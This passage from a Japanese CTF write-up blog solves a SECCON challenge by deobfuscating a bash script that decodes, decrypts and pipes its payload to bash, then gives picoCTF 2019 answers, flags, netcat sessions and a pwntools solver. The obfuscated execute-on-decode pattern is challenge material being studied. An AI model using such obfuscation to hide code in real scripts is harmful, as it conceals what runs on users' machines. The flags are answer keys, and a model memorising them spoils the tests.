echo U2Fsd<長い文字列>0rlk=|base64 -d|openssl aes-256-cbc -d -pass pass:$(echo -n $n|md5sum |cut -c2,3,5,12) -md md5 2>/dev/null |bash;

文字列をbase64デコードして、AESで復号し、bashで実行しているようです。AESで復号するキーは、$nを利用して計算しているようです。 上記の処理のbashを削除し、n=3を指定した状態で実行し、スクリプトを展開してみます。

$ export n=3; cat Beeeeeeeeeer_4.sh | head -n 18 | tail -n 1 | sed -e "s/|bash;/;/" | bash > Beeeeeeeeeer_5.sh

展開されたスクリプトを確認すると、以下のようになっていました。さらに難読化がひどくなっています。

__=$(. 2>&1);__=${__##*.};__=$(. 2>&1);__=${__##*.};${__:$(($[($[$$/$$]<<$[$$/$$]<<$[$$/$$]<<$[$$/$$])+$[$$/$$]]+$[($[$$/$$]<<$[$$/$$]<<$[$$/$$]<<$[$$/$$])+$[$$/$$]]+$[$$/$$])):$((___=___^___||++___))}${__:$[$[$$/$$]<<$[$$/$$]<<$[$$/$$]]:$((___=___^___||++___))}${__:$(($[($[$$/$$]<<$[$$/$$]<<$[$$/$$]<<$[$$/$$])+$[$$/$$]]+$[($[$$/$$]<<$[$$/$$]<<$[$$/$$]<<$[$$/$$])+$[$$/$$]])):$((___=___^___||++___))} -- {z..A};${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))} "${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))} ${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))} ${@:$((____=____^____||++____))$((____=____^____||++____)):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}";${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))} _____</${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}/${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____)))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))};: ${@:$((____=____^____||++____))$((____=____^____||++____)):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))} ${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))} ${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))};${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))} $(${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))} -${@:$((____=____^____||++____))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))} $_____|${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}|${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____)))):$((____=____^____||++____))} -${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}" " -${@:$((____=(____^____||++____)+(____^____||++____)))$((____=____^____||++____)):$((____=____^____||++____))}$((____=____^____||++____)))|${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))-$((____=____^____||++____)))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=____^____||++____)):$((____=____^____||++____))} -${@:$((____=____^____||++____))$(($((____=____^____||++____))-$((____=____^____||++____)))):$((____=____^____||++____))} "${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))$(($((____=____^____||++____))-$((____=____^____||++____))))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))))$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$((____=____^____||++____))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))"&&${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))} "${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))} ${@:$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}!"&&printf "\n\033[?7l%1024s" " "&&echo SECCON{$S1$n$_____};echo -e '\033[?7h';

最後のほうを確認すると、フラグを表示する処理が確認できます。

<難読化された文字列>&&printf "\n\033[?7l%1024s" " "&&echo SECCON{$S1$n$_____};echo -e '\033[?7h';

$S1$n$_____ に何が格納されているのかが分かれば、フラグが何なのか分かりそうです。 とりあえず、デバッグモードで実行してみます。

bash -x ./Beeeeeeeeeer_5.sh
++ .
+ __='./Beeeeeeeeeer_5.sh: line 1: .: filename argument required
.: usage: . filename [arguments]'
+ __=' filename [arguments]'
++ .
+ __='./Beeeeeeeeeer_5.sh: line 1: .: filename argument required
.: usage: . filename [arguments]'
+ __=' filename [arguments]'
+ set -- z y x w v u t s r q p o n m l k j i h g f e d c b a '`' _ '^' ']' '' '[' Z Y X W V U T S R Q P O N M L K J I H G F E D C B A
+ echo 'Enter the password'
Enter the password
+ read _____
hoge
+ : password is bash
+ grep -q d574d4bb40c84861791a694a999cce69
++ cut '-d ' -f1
++ md5sum
++ echo -n hoge
+ echo ea703e7aa1efda0064eaa507d9e8ab7e
+ echo -e '\033[?7h'

実行すると、Enter the password と表示されます。 適当にhogeと入力してみましたが、フラグ表示処理に遷移しません。 入力値のMD5ハッシュを取って、パスワードが正しいかどうか判定しているようです。

実行結果をよく見てみると、: password is bash と書かれています。 パスワードにbashを指定すると、フラグ表示処理に遷移しました。

$ bash -x Beeeeeeeeeer_5.sh
++ .
+ __='Beeeeeeeeeer_5.sh: line 1: .: filename argument required
.: usage: . filename [arguments]'
+ __=' filename [arguments]'
++ .
+ __='Beeeeeeeeeer_5.sh: line 1: .: filename argument required
.: usage: . filename [arguments]'
+ __=' filename [arguments]'
+ set -- z y x w v u t s r q p o n m l k j i h g f e d c b a '`' _ '^' ']' '' '[' Z Y X W V U T S R Q P O N M L K J I H G F E D C B A
+ echo 'Enter the password'
Enter the password
+ read _____
bash
+ : password is bash
+ grep -q d574d4bb40c84861791a694a999cce69
++ cut '-d ' -f1
++ md5sum
++ echo -n bash
+ echo d574d4bb40c84861791a694a999cce69
+ echo 'Good Job!'
Good Job!
+ printf '\n\033[?7l%1024s' ' '

                                                                                                                                                                                                                              '
SECCON{bash}
+ echo -e '\033[?7h'

$S1$nを指定せずに実行しているので、SECCON{bash} と表示されています。 過去の実行結果を見直してみると、$S1hogefuga$n3となっています。 よって、SECCON{hogefuga3bash} が正しいフラグとなります。

FLAG

SECCON{hogefuga3bash}

picoCTF 2019 Writeup

picoCTF 2019 について

picoCTF 2019が開催されました。
2019年9月28日午前2時~2019年10月12日午前2時(2週間)

picoctf.com

picoCTFは、中高生向けのCTF大会だそうです。中高生対象ということもあり、難易度低めのCTFになります。 ただし、問題数が異様に多く、100問以上出題されます。 問題を解いていくと、新たな問題がどんどん追加されていくシステムのようです。

難易度が低めのCTFということで、今回は1人で参加しました。 結果は、135/15817位で26201点でした。 今回、101問解きましたが、まだ解けていない問題が10問程度あります。Pwn系があまり解けていないので、まだ未公開となっている問題もありそうです。

f:id:tsalvia:20191012042144p:plain

f:id:tsalvia:20191012141627p:plain

picoCTFは、ちゃんと段階を踏みながら徐々に難しい問題に挑戦していけるので、CTFに慣れていない方が参加すると勉強になりそうだなと感じました。 私も、まだPwn系があまり解けないので、他の方のWriteupを見て復習したいと思います。 picoCTFは、競技終了後も1年間サーバが維持されるそうなので、まだ参加されていない方はぜひ解いてみてください。

picoCTF 2019 Writeup(101問)

今回は、問題数が多いので雑に解説をしていきます。

General Skills

The Factory's Secret - Points: 1

There appear to be some mysterious glyphs hidden inside this abandoned factory... I wonder what would happen if you collected them all?

各部屋にQRコードの断片のようなアイテムが散らばっています。それらをすべて集めると、1つのQRコードが表示されました。

f:id:tsalvia:20191005150521p:plain

QRコードを読み取ると、 password: xmfv53uqkf621gakvh502gxfu1g78glds と出てきました。

最初の部屋のPCにパスワードを入れると、2人の会話ログのようなものが表示されました。

f:id:tsalvia:20191005150432p:plain

会話を読んでみると、「zerozerozerozeroはどう?いいね。」と言っている会話が確認できます。 試しに picoCTF{zerozerozerozero} でフラグを投入してみると、正解になりました。

picoCTF{zerozerozerozero}

2Warm - Points: 50

Can you convert the number 42 (base 10) to binary (base 2)?

10進数の42を2進数に変換すると、101010となります。

picoCTF{101010}

Lets Warm Up - Points: 50

If I told you a word started with 0x70 in hexadecimal, what would it start with in ASCII?

0x70をアスキーコードに変換すると、pとなります。

picoCTF{p}

Warmed Up - Points: 50

What is 0x3D (base 16) in decimal (base 10).

0x3Dを10進数に変換すると、61になります。

picoCTF{61}

Bases - Points: 100

What does this bDNhcm5fdGgzX3IwcDM1 mean? I think it has something to do with bases.

Base64デコードすると、フラグが取得できました。

picoCTF{l3arn_th3_r0p35}

First Grep - Points: 100

Can you find the flag in file? This would be really tedious to look through manually, something tells me there is a better way. You can also find the file in /problems/first-grep_6_c2319e8af66fa6bec197edc733dd52dd on the shell server.

ファイルを開いて、picoCTFで検索するとフラグが書いてありました。

picoCTF{grep_is_good_to_find_things_cdb327ab}

Resources - Points: 100

We put together a bunch of resources to help you out on our website! If you go over there, you might even find a flag! https://picoctf.com/resources (link)

https://picoctf.com/resources にアクセスすると、フラグが書かれていました。

picoCTF{r3source_pag3_f1ag}

strings it - Points: 100

Can you find the flag in file without running it? You can also find the file in /problems/strings-it_3_8386a6aa560aecfba03c0c6a550b5c51 on the shell server.

タイトル通りstringsをすると、フラグが確認できました。

$ cd /problems/strings-it_3_8386a6aa560aecfba03c0c6a550b5c51
$ ls
strings
$ strings ./strings | grep picoCTF
picoCTF{5tRIng5_1T_c7fff9e5}

picoCTF{5tRIng5_1T_c7fff9e5}

what's a net cat? - Points: 100

Using netcat (nc) is going to be pretty important. Can you connect to 2019shell1.picoctf.com at port 4158 to get the flag?

netcat で 2019shell1.picoctf.com:4158 に接続すると、フラグが表示されました。

$ nc 2019shell1.picoctf.com 4158
You're on your way to becoming the net cat master
picoCTF{nEtCat_Mast3ry_700da9c7}

picoCTF{nEtCat_Mast3ry_700da9c7}

Based - Points: 200

To get truly 1337, you must understand different data encodings, such as hexadecimal or binary. Can you get the flag from this program to prove you are on the way to becoming 1337? Connect with nc 2019shell1.picoctf.com 31615.

netcat で 2019shell1.picoctf.com:31615 に接続する以下の3つの問題が表示されました。

  1. ある単語の文字を2進数に変換した値
  2. ある単語の文字を8進数に変換した値
  3. ある単語の文字を16進数に変換した値

それぞれを変換して、自動で入力させるスクリプトを作成しました。

from pwn import *

def convert(enc_word, base):
    dec_word = ""
    for chr_bin in enc_word:
        dec_word += chr(int(chr_bin, base))
    return dec_word

def solve_base_2(p):
    p.readuntil("Please give the ")
    enc_word = p.readuntil(" as").decode("utf-8").split(" ")[:-1]
    log.info("enc_word: {}".format(enc_word))

    dec_word = convert(enc_word, 2)
    
    log.info("dec_word: {}".format(dec_word))
    p.sendlineafter("Input:", dec_word)

def solve_base_8(p):
    p.readuntil("Please give me the  ")
    enc_word = p.readuntil(" as").decode("utf-8").split(" ")[:-1]
    log.info("enc_word: {}".format(enc_word))

    dec_word = convert(enc_word, 8)
    
    log.info("dec_word: {}".format(dec_word))
    p.sendlineafter("Input:", dec_word)

def solve_base_16(p):
    p.readuntil("Please give me the ")
    s = p.readuntil(" as").decode("utf-8").split(" ")[0]
    enc_word = [s[i: i+2] for i in range(0, len(s), 2)]
    log.info("enc_word: {}".format(enc_word))

    dec_word = convert(enc_word, 16)
    
    log.info("dec_word: {}".format(dec_word))
    p.sendlineafter("Input:", dec_word)

def main():
    context(arch="i386", os="linux")

    p = remote("2019shell1.picoctf.com", 31615)

    solve_base_2(p)
    solve_base_8(p)
    solve_base_16(p)
    p.interactive()

if __name__ == "__main__":
    main()

実行すると、フラグを取得することができました。

$ python solve.py 
[+] Opening connection to 2019shell1.picoctf.com on port 31615: Done
[*] enc_word: ['01101100', '01101001', '01101101', '01100101']
[*] dec_word: lime
[*] enc_word: ['164', '145', '163', '164']
[*] dec_word: test
[*] enc_word: ['74', '61', '62', '6c', '65']
[*] dec_word: table
[*] Switching to interactive mode

You've beaten the challenge
Flag: picoCTF{learning_about_converting_values_502ff297}

picoCTF{learning_about_converting_values_502ff297}

First Grep: Part II - Points: 200

Can you find the flag in /problems/first-grep--part-ii_3_b4bf3244c2886de1566a28c1b5a465ae/files on the shell server? Remember to use grep.

指定されたディレクトリに移動すると、大量のディレクトリとファイルが用意されていました。

$ cd /problems/first-grep--part-ii_3_b4bf3244c2886de1566a28c1b5a465ae/files
$ ls -la
total 52
drwxr-xr-x 13 root root 4096 Sep 28 22:01 .
drwxr-xr-x  3 root root 4096 Sep 28 22:01 ..
drwxr-xr-x  2 root root 4096 Sep 28 22:01 files0
drwxr-xr-x  2 root root 4096 Sep 28 22:01 files1
drwxr-xr-x  2 root root 4096 Sep 28 22:01 files10
drwxr-xr-x  2 root root 4096 Sep 28 22:01 files2
drwxr-xr-x  2 root root 4096 Sep 28 22:01 files3
drwxr-xr-x  2 root root 4096 Sep 28 22:01 files4
drwxr-xr-x  2 root root 4096 Sep 28 22:01 files5
drwxr-xr-x  2 root root 4096 Sep 28 22:01 files6
drwxr-xr-x  2 root root 4096 Sep 28 22:01 files7
drwxr-xr-x  2 root root 4096 Sep 28 22:01 files8
drwxr-xr-x  2 root root 4096 Sep 28 22:01 files9
$ ls -la files0/
total 232
drwxr-xr-x  2 root       root       4096 Sep 28 22:01 .
drwxr-xr-x 13 root       root       4096 Sep 28 22:01 ..
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file0
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file1
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file10
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file11
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file12
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file13
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file14
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file15
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file16
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file17
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file18
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file19
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file2
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file20
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file21
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file22
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file23
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file24
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file25
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file26
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file27
